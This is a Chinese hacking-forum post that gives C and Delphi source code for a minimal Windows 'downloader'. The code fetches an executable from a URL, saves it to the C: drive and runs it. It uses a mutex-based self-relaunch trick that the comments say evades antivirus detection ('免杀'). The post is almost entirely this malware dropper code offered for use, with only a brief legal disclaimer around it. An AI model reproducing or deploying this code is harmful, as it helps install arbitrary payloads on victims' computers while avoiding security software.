HanDs
NO.2

[Delphi文章] 最简单的下载者[VC Delphi两个版本] 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

#pragma comment(lib, "urlmon.lib")  
#include 
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")  
#pragma comment(linker,"/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text")  
 
int DownExeTest()  
{  
char strPath[MAX_PATH];  
HANDLE hMutex = NULL;  
hMutex = CreateMutex(NULL, FALSE, "TestC");  
if (hMutex != NULL)  
{  
if (GetLastError() == ERROR_ALREADY_EXISTS)  
{  
{  
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);  
WinExec("C:\\aaa.exe", SW_SHOW);  
ExitProcess(-1);  
}  
}  
else 
{  
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));  
WinExec(strPath, SW_HIDE);  
ExitProcess(-1);  
}  
}  
return 0;  
}  
/* 
int DownExe() 

URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0); 
WinExec("C:\\aaa.exe", SW_SHOW); 
ExitProcess(-1); 
return 0; 

*/ 
int Simen()  
{  
//DownExe(); //没有处理的 被杀..  
DownExeTest(); //处理的 免杀..  
return 0;  

#pragma comment(lib, "urlmon.lib")
#include
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text")

int DownExeTest()
{
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
hMutex = CreateMutex(NULL, FALSE, "TestC");
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
}
}
else
{
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
ExitProcess(-1);
}
}
return 0;
}
/*
int DownExe()
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
return 0;
}
*/
int Simen()
{
//DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
return 0;

Delphi版本:

新窗口查看复制到剪贴板打印?
program Main;  
uses 
Windows,  
Urlmon;  
procedure DownExeTest();  
var 
MutexHandle: dword;  
begin 
MutexHandle := CreateMutex(nil, True, 'TestD');  
if MutexHandle <> 0 then 
begin 
if GetLastError = ERROR_ALREADY_EXISTS then 
begin 
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);  
WinExec('c:\test.exe', SW_SHOW);  
end else 
begin 
WinExec(pchar(paramstr(0)),SW_HIDE);  
end;  
end;  
end;  
 

procedure DownExe(); 
begin 
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil); 
WinExec('c:\test.exe', SW_SHOW); 
end; 

 
begin 
// DownExe(); //没有处理的 被杀..  
DownExeTest(); //处理的 免杀..  
end.  
 


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
简虻サ
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组